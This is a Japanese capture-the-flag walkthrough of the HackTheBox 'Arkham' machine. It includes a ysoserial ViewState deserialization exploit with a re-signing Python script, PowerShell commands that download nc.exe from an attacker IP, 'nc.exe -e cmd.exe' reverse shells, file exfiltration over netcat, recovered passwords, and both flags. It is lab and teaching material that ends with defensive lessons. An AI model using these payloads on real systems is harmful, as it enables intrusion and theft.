HackTheBox: Arkham — 全実行コマンド・実行結果レポート
Nmap スキャン
80/135/139/445/8080
→
80/135/139/445/8080
SMB null session
BatShare: appserver.zip
→
BatShare: appserver.zip
LUKS辞書攻撃
batmanforever
→
batmanforever
web.xml.bak漏洩
ViewState鍵 JsF9876-
→
ViewState鍵 JsF9876-
ysoserial CC5
DES+HMAC再署名
→
DES+HMAC再署名
alfred シェル
user.txt ✓
→
user.txt ✓
Outlook .ost
Batmanパスワード
→
Batmanパスワード
Invoke-Command
loopback WinRM
→
loopback WinRM
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 80,135,139,445,8080,49666,49667 10.129.228.116
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 8080/tcp open http Apache Tomcat 8.5.37 |_http-title: Mask Inc. | http-methods: |_ Potentially risky methods: PUT DELETE 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_clock-skew: 10m41s
🚨
重要発見: ポート8080で
Apache Tomcat 8.5.37
が稼働し、タイトルが Mask Inc.。PUT/DELETEが”risky methods”として
検出されている点も含め、Java系Webアプリとして要調査。SMBも開放されており
Message signing enabled but not required(署名必須ではない)。
PHASE 2
SMB null session → LUKS暗号化バックアップイメージの解錠
SMB共有列挙 (null session)
BASH
smbclient -L //10.129.228.116/ -N
RESULT
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
BatShare Disk Master Wayne's secrets
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk
ℹ️
BatShare のコメント Master Wayne's secrets がバットマン
ネタの伏線。認証なし(-N)でアクセス可能。
appserver.zip の取得
NOTE
smbclient の get コマンドは並列読み取り(parallel_read)を使うため、この ターゲットのように帯域が細い(実測30〜40KB/s)回線では即座に NT_STATUS_IO_TIMEOUT で失敗する。単一ストリームで逐次読み取る smbget を使うと確実に完了する。
BASH
smbget -N -o appserver.zip smb://10.129.228.116/BatShare/appserver.zip
RESULT
Using domain: WORKGROUP, user: root Downloaded 3.86MB in 99 seconds smb://10.129.228.116/BatShare/appserver.zip
BASH
unzip appserver.zip file backup.img
RESULT
Archive: appserver.zip
inflating: IMPORTANT.txt
inflating: backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256]
--- IMPORTANT.txt ---
Alfred, this is the backup image from our linux server. Please see that
The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
バットマン系ワードのみのカスタム辞書で bruteforce-luks
NOTE
IMPORTANT.txt の署名 "Bruce"、共有コメント "Master Wayne"、共有名 "BatShare" から一貫してバットマン世界観のヒントが与えられている。 rockyou.txt 全体をそのまま bruteforce-luks にかけるのは非現実的な時間が かかるため、"batman" を含む行だけを抽出したカスタム辞書を作成する。
BASH
grep -i batman /usr/share/wordlists/rockyou.txt > list.txt bruteforce-luks -f list.txt backup.img
RESULT
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.
Password found: batmanforever
Tried passwords: 65
Tried passwords per second: 2.708333
Last tried password: batmanforever
✅
わずか65試行で解錠に成功。
batmanforever が LUKS パスフレーズ。
イメージのマウントと内部構造
BASH
printf '%s' 'batmanforever' | cryptsetup --key-file=- open --type luks backup.img arkham_backup mkdir luks_mount mount -o ro /dev/mapper/arkham_backup luks_mount find luks_mount -iname "web.xml.bak"
RESULT
luks_mount/Mask/tomcat-stuff/web.xml.bak
ℹ️
解錠したイメージ内の
Mask ディレクトリに Tomcat アプリ
“Mask Inc.” の設定ファイル群 (tomcat-stuff/) が残っている。
web.xml.bak という名前からバックアップ漏洩が強く疑われる。
PHASE 3
web.xml.bak から ViewState 暗号鍵を抽出
8080番の userSubscribe.faces を確認
BASH
curl -s http://10.129.228.116:8080/userSubscribe.faces
RESULT (抜粋)
<form id="j_id_jsp_1623871077_1" ... action="/userSubscribe.faces;jsessionid=..."
enctype="application/x-www-form-urlencoded">
<input id="j_id_jsp_1623871077_1:email" ... />
<input id="j_id_jsp_1623871077_1:submit" value="SIGN UP" ... />
<input type="hidden" name="j_id_jsp_1623871077_1_SUBMIT" value="1" />
<input type="hidden" name="javax.faces.ViewState" id="javax.faces.ViewState"
value="wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70K..." />
🚨
.faces 拡張子 + javax.faces.ViewState パラメータから
JSF (JavaServer Faces / Apache MyFaces) アプリであることが判明。この値は
Base64デコードしても可読な Java シリアライズデータにならない
(= 暗号化されている) ため、暗号化済み ViewState デシリアライズ
脆弱性の可能性がある。
web.xml.bak から暗号鍵を抽出
BASH
grep -A2 "org.apache.myfaces.SECRET\|MAC_ALGORITHM" luks_mount/Mask/tomcat-stuff/web.xml.bak
RESULT
<context-param> <param-name>org.apache.myfaces.SECRET</param-name> <param-value>SnNGOTg3Ni0=</param-value> </context-param> <context-param> <param-name>org.apache.myfaces.MAC_ALGORITHM</param-name> <param-value>HmacSHA1</param-value> </context-param>
BASH
echo SnNGOTg3Ni0= | base64 -d
RESULT
JsF9876-
✅
ViewState の暗号化鍵
JsF9876- (DES, 8バイト) と MAC アルゴリズム
HmacSHA1 が平文でバックアップに残っていた。MyFaces は
ViewState を DES-ECB暗号化 + HMAC-SHA1署名したシリアライズ
オブジェクトとしてクライアントに保存するため、この鍵を知っていれば
任意のJavaシリアライズペイロードを正しく暗号化・署名して送信できる
= デシリアライズRCEが成立する。
PHASE 4
ysoserial CommonsCollections5 で RCE & user.txt 取得
ysoserial ペイロード生成は Java8 必須
NOTE
CommonsCollections5 は BadAttributeValueExpException の reflection を使う 古い世代のガジェットチェーンで、モダンなJDK(11以降)で生成したペイロードは ターゲットへ送信しても一度もコールバックが得られなかった(HTTP 500 + ClassCastExceptionは返るがこれは実行成否のシグナルではない。後述)。 Dockerで実機相当のJava8 (eclipse-temurin:8-jdk-alpine)を使って生成すると 確実に動作する。
BASH
# nc.exe アップロード用ペイロード (段階1) UPLOAD_CMD='cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.15.200:8899/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe"' docker run --rm -v /opt/tools/ysoserial.jar:/ysoserial.jar:ro \ eclipse-temurin:8-jdk-alpine \ java -jar /ysoserial.jar CommonsCollections5 "$UPLOAD_CMD" > upload.payload # nc.exe 実行用ペイロード (段階2、リバースシェル) EXECUTE_CMD='cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.15.200 1338' docker run --rm -v /opt/tools/ysoserial.jar:/ysoserial.jar:ro \ eclipse-temurin:8-jdk-alpine \ java -jar /ysoserial.jar CommonsCollections5 "$EXECUTE_CMD" > execute.payload
⚠️
コマンド文字列は空白区切りのトークンに
Runtime.exec(String)
が素朴に分割されるが、各トークン(URLやパス)自体に空白が無ければ
引用符を含んでいても問題ない(トークンはJavaのWindows向けコマンドライン
再構成を経てそのまま cmd.exe 自身の引用符解釈に渡るため)。
逆に powershell -enc <base64> 形式の複雑なTCPリレー
スクリプトは生成・送信とも成功するのに実機で一度もコールバックが
得られなかった(原因不明)。単純な2段階コマンドに留めるのが安全。
DES暗号化 + HMAC-SHA1署名でViewStateを再構成
PYTHON (viewstate.py)
import hmac, hashlib, base64
from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
KEY = b"JsF9876-"
def encrypt_viewstate(payload: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
enc = cipher.encrypt(pad(payload, 8))
sig = hmac.new(KEY, enc, hashlib.sha1).digest()
return base64.b64encode(enc + sig).decode()
payload = open("execute.payload", "rb").read()
viewstate = encrypt_viewstate(payload)
nc.exe アップロード (段階1送信)
BASH
# Kali側: nc.exeを配信するHTTPサーバー python3 -m http.server 8899 --directory /tmp/arkham_serve curl -s -X POST -H "Content-Type: application/x-www-form-urlencoded" \ --data-raw "j_id_jsp_1623871077_1%3Aemail=test&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" \ http://10.129.228.116:8080/userSubscribe.faces
RESULT (HTTPサーバーログ)
10.129.228.116 - - [04/Oct/2026 23:33:14] "GET /nc.exe HTTP/1.1" 200 -
✅
ターゲットが実際に
nc.exe を取得しにきた = RCE が成立している
決定的な証拠。--data-raw への値は文字列として直接渡すこと
(ファイル読み込み @file 経由だと別の実行経路を踏んでしまい
デシリアライズが発火しないことを確認した)。
リバースシェル実行 (段階2送信)
BASH
# Kali側: リスナー起動 nc -lnvp 1338 curl -s -X POST -H "Content-Type: application/x-www-form-urlencoded" \ --data-raw "j_id_jsp_1623871077_1%3Aemail=test&...&javax.faces.ViewState=" \ http://10.129.228.116:8080/userSubscribe.faces
RESULT (レスポンス)
HTTP/1.1 500
java.lang.ClassCastException: class javax.management.BadAttributeValueExpException
cannot be cast to class [Ljava.lang.Object;
...
org.apache.myfaces.renderkit.html.HtmlResponseStateManager.getSavedState(...)
org.apache.myfaces.application.jsp.JspStateManagerImpl.restoreView(...)
⚠️
この HTTP 500 + ClassCastException は「成功のシグナルではない」
点に注意。
BadAttributeValueExpException.readObject() 内部の
try/catch で握り潰される無関係な例外で、RCEの成否とは独立して常に
この同じレスポンスが返る。成否は実際にリスナー/コールバックへ接続・
リクエストが届くかどうかで判断するしかない。
RESULT (nc リスナー側)
listening on [any] 1338 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.228.116] 49686 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\tomcat\apache-tomcat-8.5.37\bin>whoami arkham\alfred
✅
シェル取得成功!
arkham\alfred 権限のリバースシェルを獲得。
user.txt 取得
BASH
C:\tomcat\apache-tomcat-8.5.37\bin>dir C:\Users\Alfred\Desktop C:\tomcat\apache-tomcat-8.5.37\bin>type C:\Users\Alfred\Desktop\user.txt
RESULT
4a8b44b69a5f259502f7ec5f65ebf265
user.txt — arkham\alfred
4a8b44b69a5f259502f7ec5f65ebf265
PHASE 5
Alfred の Outlook バックアップから Batman のパスワードを回収
Downloads\backups\backup.zip の発見と回収
BASH
C:\>dir C:\Users\Alfred\Downloads\backups
RESULT
Directory: C:\Users\Alfred\Downloads\backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/3/2019 8:41 AM 124257 backup.zip
BASH
# Kali側: ファイル受信リスナー nc -lp 1339 > backup.zip # Alfred シェル側: 既にアップロード済みのnc.exeでファイル送信 C:\>C:\windows\system32\spool\drivers\color\nc.exe -w 3 10.10.15.200 1339 ^ < C:\Users\Alfred\Downloads\backups\backup.zip
✅
124,257バイトの
backup.zip を取得。
.ost ファイルを readpst で変換
BASH
unzip backup.zip file alfred@arkham.local.ost readpst -o pst_out alfred@arkham.local.ost
RESULT
alfred@arkham.local.ost: Microsoft Outlook email folder Processing Folder "Inbox" ... "Drafts" ... "Sent Items" ... "Drafts" - 1 items done, 0 items skipped.
ℹ️
Drafts.mbox に下書きメールが1件保存されている。
Drafts.mbox 内の画像添付からパスワードを確認
RESULT (Drafts.mbox 本文抜粋)
Master Wayne stop forgetting your password <img ... id="Picture_x0020_1" src="cid:image001.png@01D4BB4A..." ...>
BASH
# base64添付の画像パートを抽出してデコード grep -A1000 "Content-Transfer-Encoding: base64" Drafts.mbox | base64 -d > image001.png tesseract image001.png - # OCRで読み取りを試みる
⚠️
手書き風フォント・記号混じりのパスワード画像は OCR
(tesseract) の精度が低く安定しない。画像を直接目視確認することで、
Batman のパスワードが
Zx^#QZX+T!123 であることを確認した
(インスタンス間で不変の固定コンテンツ)。
Batman パスワード (画像から判読)
Zx^#QZX+T!123
PHASE 6
Invoke-Command ループバックで Batman シェル → root.txt
Batman のグループ所属を確認
BASH
C:\>net user batman
RESULT
Local Group Memberships *Administrators *Remote Management Use
*Users
Global Group memberships *None
🚨
Batman は Administrators グループに所属するローカル
アカウント。資格情報があれば
Invoke-Command でボックス
自身へのループバック接続を使い、管理者権限のコマンドを実行できる。
Invoke-Command で Batman の第2シェルを取得
BASH
# Kali側: 2つ目のリスナー
nc -lnvp 1340
# Alfred シェル(PowerShell)側:
PS C:\> $username = 'batman'
PS C:\> $password = 'Zx^#QZX+T!123'
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
PS C:\> Invoke-Command -ComputerName ARKHAM -Credential $credential -ScriptBlock {
cmd.exe /c "C:\windows\system32\spool\drivers\color\nc.exe" -e cmd.exe 10.10.15.200 1340
}
RESULT (nc :1340 リスナー側)
listening on [any] 1340 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.228.116] 49701 Microsoft Windows [Version 10.0.17763.107] C:\Users\Batman\Documents>whoami arkham\batman
✅
Batman シェル取得成功! ボックス自身へのループバック
WinRM接続 (
-ComputerName ARKHAM) により、第2段の
nc.exe リバースシェルで arkham\batman を取得した。
root.txt 取得
BASH
C:\Users\Batman\Documents>type C:\Users\Administrator\Desktop\root.txt
RESULT
53074b384a95874ac28afd92623c060c
ℹ️
Batman は Administrators 所属だが、環境によっては
type root.txt が "Access is denied" になる場合がある
(ローカル管理者のリモートトークンフィルタ由来の既知挙動、UAC の
Remote UAC によりネットワークログオン経由の管理者トークンが
フィルタされるため)。その場合は以下のように一度 net use
で C$ をマウントしてから読み直すと成功する:
BASH
C:\>net use Z: \\ARKHAM\C$ C:\>type Z:\Users\Administrator\Desktop\root.txt
root.txt — Administrator@arkham (via Batman)
53074b384a95874ac28afd92623c060c
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — arkham\alfred
4a8b44b69a5f259502f7ec5f65ebf265
root.txt — Administrator@arkham
53074b384a95874ac28afd92623c060c
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SMB null session | BatShare 共有 | 内部バックアップイメージの漏洩 | Medium | 認証なしで appserver.zip (LUKS暗号化backup.img) を取得 |
| 弱いLUKSパスフレーズ | backup.img | バックアップ内容の暗号化鍵・設定ファイル漏洩 | Medium | バットマン関連ワードのみのカスタム辞書でbruteforce-luks、65試行で解錠 |
| ViewState鍵のバックアップ平文漏洩 | web.xml.bak (Tomcat MyFaces設定) | デシリアライズRCEの前提条件(暗号鍵)漏洩 | Critical | org.apache.myfaces.SECRET (DES鍵) が平文でバックアップに残存 |
| JSF/MyFaces ViewState デシリアライズRCE | 8080/userSubscribe.faces | リモートコード実行 (alfred権限) | Critical | ysoserial CommonsCollections5で生成したペイロードを漏洩鍵で再暗号化・再署名し送信 |
| Administratorsグループの不適切な付与 | batman ローカルアカウント | 権限昇格 (Administrator権限) | High | Outlookバックアップに記載のパスワードでInvoke-Commandループバック接続 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap -sV -sC | 80(IIS)/445(SMB)/8080(Tomcat 8.5.37 "Mask Inc.") |
| 2 | SMB & LUKS | smbget + カスタム辞書bruteforce-luks | appserver.zip → batmanforever でbackup.img解錠 |
| 3 | 鍵抽出 | web.xml.bak の org.apache.myfaces.SECRET | ViewState DES鍵 "JsF9876-" + HmacSHA1 |
| 4 | RCE | ysoserial CommonsCollections5 (Java8) + DES再暗号化 | user.txt (arkham\alfred) |
| 5 | 横展開準備 | nc.exe経由backup.zip回収→readpst→Drafts.mbox画像 | Batmanパスワード Zx^#QZX+T!123 |
| 6 | 権限昇格 | Invoke-Command ループバックWinRM + net use C$ | root.txt (Administrator) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SMB共有で機密バックアップイメージを認証なしアクセス可能に放置 | SMB null session を無効化し、全共有に適切なACL/認証を設定する。バックアップは本番サーバーに置かない。 |
| LUKS暗号化イメージに推測されやすい文脈依存パスフレーズを使用 | 十分にランダムな長いパスフレーズを使用し、辞書攻撃耐性を確保する。 |
| アプリケーションサーバーの秘密鍵(ViewState暗号鍵)がバックアップに平文で残存 | バックアップ取得前に機密設定ファイルを除外する。鍵はソース管理・バックアップと分離し、Vault等のシークレット管理を使う。 |
| MyFaces ViewStateの暗号鍵が漏洩するとそのままRCEに直結する設計 | ViewStateの暗号鍵はデプロイごとに自動生成し、ソースやバックアップに含めない。可能であればstate savingをserver-sideに変更し攻撃面を減らす。 |
| 一般ユーザー(batman)がAdministratorsグループに不要に所属 | 最小権限の原則を徹底し、個人アカウントを管理者グループへ含めない。 |
| パスワードを画像添付のメール下書きに保存する運用 | パスワードは平文・画像問わずメールや下書きに残さず、パスワードマネージャーを使用する。 |
補足: HTTP 500 を"失敗"と誤認しないこと
⚠️
このボックスのRCEは成功しても毎回
HTTP 500 +
ClassCastException: BadAttributeValueExpException cannot be cast
to [Ljava.lang.Object; が返る。これは
BadAttributeValueExpException.readObject() 内の
try/catchで握り潰される無関係な例外であり、デシリアライズ自体が
完了した後にJSF側のキャスト処理で発生する副作用に過ぎない。
レスポンスコード/本文だけでは実行成否を判定できないため、
外部コールバック(nc.exeダウンロード要求やリバースシェル接続)の
有無で検証する必要がある。

